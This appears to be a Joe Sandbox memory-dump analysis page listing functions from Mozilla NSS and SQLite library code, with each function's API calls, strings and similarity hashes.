Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: a1937cb0b15f615d080a15cda4327893b7bb8c3e240fb0007519b80e3ed469ca
Instruction ID: 5af6f1d20c28b13e4d70c641d15d9e934c0f9a182685abae8a9fbaa9fdaae519
Opcode Fuzzy Hash: a1937cb0b15f615d080a15cda4327893b7bb8c3e240fb0007519b80e3ed469ca
Instruction Fuzzy Hash: 606173B4F003859BEB00DFA4D845B9EB7B5EF04348F184128ED19AB741EB31E945CBA2

Function 6CBCADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE10
EnterCriticalSection.KERNEL32(?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CBAD079,00000000,00000001), ref: 6CBCAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE7F
TlsGetValue.KERNEL32(?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEF1
free.MOZGLUE(6CBACDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBACDBB,?), ref: 6CBCAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAF30

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 2d855ca44ecb2a6ba8320869865bb8e71864f40f490fbda31fc2cb8bd940f991
Instruction ID: 6ef428fb0ef2d817492a1699164d53ac838bac107ecec49955107c9e39905dc7
Opcode Fuzzy Hash: 2d855ca44ecb2a6ba8320869865bb8e71864f40f490fbda31fc2cb8bd940f991
Instruction Fuzzy Hash: 545180B1A00642AFDB01DF29D884B59B7B4FF09319F244665E81897E11E731F8A4CFE2

Function 6CBA4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CBAAB7F,?,00000000,?), ref: 6CBA4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CBAAB7F,?,00000000,?), ref: 6CBA4CC8
TlsGetValue.KERNEL32(?,6CBAAB7F,?,00000000,?), ref: 6CBA4CE0
EnterCriticalSection.KERNEL32(?,?,6CBAAB7F,?,00000000,?), ref: 6CBA4CF4
PL_HashTableLookup.NSS3(?,?,?,6CBAAB7F,?,00000000,?), ref: 6CBA4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CBA4D10

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CBA4D26

Part of subcall function 6CC49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DC6
Part of subcall function 6CC49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DD1
Part of subcall function 6CC49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC49DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CBA4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CBA4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CBA4E02

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 50a77b3653b3f688669174f77a01a5bed1164ae89a03eeb154c7a7bcf792cf50
Instruction ID: 51047c1ad23e405ffeac727885e5a20046f1c4ecb08c8d0ab5802a9185f01b30
Opcode Fuzzy Hash: 50a77b3653b3f688669174f77a01a5bed1164ae89a03eeb154c7a7bcf792cf50
Instruction Fuzzy Hash: 1341A3B5D04651AFEB009F68EC40A5A77B8EF06219F145170EC5887B12FF31ED29CBA2

Function 6CB8BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB8BFFB

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CB8C015

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CB8C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CB8C04D

Part of subcall function 6CBD69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBD6A47
Part of subcall function 6CBD69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CBD6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CB8C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CB8C07B

Part of subcall function 6CB88980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CB87310), ref: 6CB889B8
Part of subcall function 6CB88980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CB87310), ref: 6CB889E6
Part of subcall function 6CB88980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CB88A00
Part of subcall function 6CB88980: CERT_CopyRDN.NSS3(00000004,00000000,6CB87310,?,?,00000004,?), ref: 6CB88A1B
Part of subcall function 6CB88980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CB88A74

Part of subcall function 6CB81D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CB8C097,00000000,000000B0,?), ref: 6CB81D2C
Part of subcall function 6CB81D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CB8C09B,00000000,00000000,00000000,?,6CB8C097,00000000,000000B0,?), ref: 6CB81D3F
Part of subcall function 6CB81D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CB8C087,00000000,000000B0,?), ref: 6CB81D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CB8C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CB8C0C9

Part of subcall function 6CB92DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CB8C0D2,6CB8C0CE,00000000,-000000D4,?), ref: 6CB92DF5
Part of subcall function 6CB92DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CB8C0CE,00000000,-000000D4,?), ref: 6CB92E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CB8C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8C0E3

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: d2460e3eb680bc2af6a6c8cc5b47c1d64c504d94224c912b7274bce9d5493533
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: C52153E294214567FB005A61AC81FEF326CDB4179CF080234FD04D9647FB26D51992B3

Function 6CB82E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB82CDA,?,00000000), ref: 6CB82E1E

Part of subcall function 6CBDFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB89003,?), ref: 6CBDFD91
Part of subcall function 6CBDFD80: PORT_Alloc_Util.NSS3(A4686CBE,?), ref: 6CBDFDA2
Part of subcall function 6CBDFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBE,?,?), ref: 6CBDFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CB82E33

Part of subcall function 6CBDFD80: free.MOZGLUE(00000000,?,?), ref: 6CBDFDD1

TlsGetValue.KERNEL32 ref: 6CB82E4E
EnterCriticalSection.KERNEL32(?), ref: 6CB82E5E
PL_HashTableLookup.NSS3(?), ref: 6CB82E71
PL_HashTableRemove.NSS3(?), ref: 6CB82E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CB82E96
PR_Unlock.NSS3 ref: 6CB82EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB82EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB82EC5

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 9cef41021601aebf62fe336d508ac8ab4f46b9165f5cc8de15ba4da213e5e896
Instruction ID: 6b87d9c5e2f737aff1351f82fdb79ba916f18c451c3620eae2692f93893ed62e
Opcode Fuzzy Hash: 9cef41021601aebf62fe336d508ac8ab4f46b9165f5cc8de15ba4da213e5e896
Instruction Fuzzy Hash: B8210772A00141ABEF205B28EC0AA9A3B78DB5635EF090030ED1882751FB32D559C7B2

Function 6CB6FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB6FD18
sqlite3_initialize.NSS3 ref: 6CB6FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB6FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CB6FD99
sqlite3_free.NSS3(00000000), ref: 6CB6FE3C
sqlite3_free.NSS3(?), ref: 6CB6FEE3
sqlite3_free.NSS3(?), ref: 6CB6FEEE

Strings

simple, xrefs: 6CB6FC79

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 59a26c61dcc68b1caca1e8777f5e5ee8aaabf7d1cb27c4611a7479ade50671af
Instruction ID: 800fef5eae8951eaea5c0394cd335cab654501353f7f2094aec2ecbaa81ab693
Opcode Fuzzy Hash: 59a26c61dcc68b1caca1e8777f5e5ee8aaabf7d1cb27c4611a7479ade50671af
Instruction Fuzzy Hash: 399170B0E012458FDB04CF56C880BAEBBB2FF85318F24C569D8199BB52E731E941CB91

Function 6CB75CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB75EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB75EED

Strings

invalid, xrefs: 6CB75EBE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB75ED1
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CB75E64
misuse, xrefs: 6CB75EDB
API call with %s database connection pointer, xrefs: 6CB75EC3
%s at line %d of [%.10s], xrefs: 6CB75EE0

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 0bfd106039c4e47c75b08e4c8f57fd676f49b6ac958cea1f4fcabff7d2fa4ba0
Instruction ID: ab01ee437e62070845e40d0930cbe51c0688134278a9d560a0f59b590d35459c
Opcode Fuzzy Hash: 0bfd106039c4e47c75b08e4c8f57fd676f49b6ac958cea1f4fcabff7d2fa4ba0
Instruction Fuzzy Hash: 2981D170B056A19BEB29CE55C948B6A7770FF41308F240268DC355BB50D730E84ACBFA

Function 6CB5DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB5DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB5DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB5DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5DF78

Strings

database corruption, xrefs: 6CB5DE5C, 6CB5DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB5DE52, 6CB5DE81
%s at line %d of [%.10s], xrefs: 6CB5DE61, 6CB5DE90

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: aab74497c55e2d4a8af77e8922d7f08a76725d9f78eaaf65fca2037dd03957d2
Instruction ID: 6f782112ac6c48a2559d915d60a6ae9a72c2c2e10f353c7560c40249ecf1a954
Opcode Fuzzy Hash: aab74497c55e2d4a8af77e8922d7f08a76725d9f78eaaf65fca2037dd03957d2
Instruction Fuzzy Hash: 2681DE717043909FDB14CF35D980B6A77F1EF44308F548A2DE89A8BA91EB31E856CB42

Function 6CB0CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB0B999), ref: 6CB0CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB0B999), ref: 6CB0D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CB0B999), ref: 6CB0D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB0B999), ref: 6CC5972B

Strings

database corruption, xrefs: 6CB0CFE7, 6CB0D013, 6CB0D028, 6CB0D039, 6CB0D03E, 6CC59786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0CFDD, 6CB0D00E, 6CB0D022, 6CB0D033, 6CC59780
%s at line %d of [%.10s], xrefs: 6CB0CFEC, 6CB0D018, 6CB0D029, 6CB0D03F, 6CC5978B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 46f6569611440bd7c115368c07a86676ff3bc3695894b4def172c0801208b3c1
Instruction ID: 03b41ffd4d6b781b2f8657d068c9f368434ffbf4269cd710251dde9055b2dbb3
Opcode Fuzzy Hash: 46f6569611440bd7c115368c07a86676ff3bc3695894b4def172c0801208b3c1
Instruction Fuzzy Hash: 43615871A002508FD710CF69C840BA6BBF5EF55358F6845AEE4489FB82E376D847C7A2

Function 6CC0FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CC10113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC10130
PORT_Alloc_Util.NSS3(00000040), ref: 6CC1015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CC101AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CC10202
free.MOZGLUE(?), ref: 6CC10224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC10253

Strings

exporter, xrefs: 6CC100F7

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 34e00177453da05228d813714c5391a02cefad484a0b9e56edae38441f64ecbc
Instruction ID: e1535bade1d62370ecf1426bd928ccbfa9418f2c54efc93b334ebe384471dc93
Opcode Fuzzy Hash: 34e00177453da05228d813714c5391a02cefad484a0b9e56edae38441f64ecbc
Instruction Fuzzy Hash: 456125719047899BEF018FA6CC00BEE77B6BF4431CF244128ED1A9AA51FB35E964D741

Function 6CC0EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0EF6D

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

htonl.WSOCK32(00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0EFE4
htonl.WSOCK32(?,00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0EFF1
memcpy.VCRUNTIME140(?,?,6CC2A4A1,?,00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CC2A4A1,?,00000000,?,00000001), ref: 6CC0F027

Strings

dtls13, xrefs: 6CC0EF33

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: aa2019ae81e5d0c5efc970c3cd87167ee5cd4f3f295cc65482ccb43ad6a82a78
Instruction ID: bdb45e495ed78cf51aea385d3a08e72494993f79075f893cc9c87419f5e6781b
Opcode Fuzzy Hash: aa2019ae81e5d0c5efc970c3cd87167ee5cd4f3f295cc65482ccb43ad6a82a78
Instruction Fuzzy Hash: E831E171A05211AFC710DF68DC80B8AB7E8BF49748F15802DE8589B751FB32E916CBE1

Function 6CB8AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB8AFBE
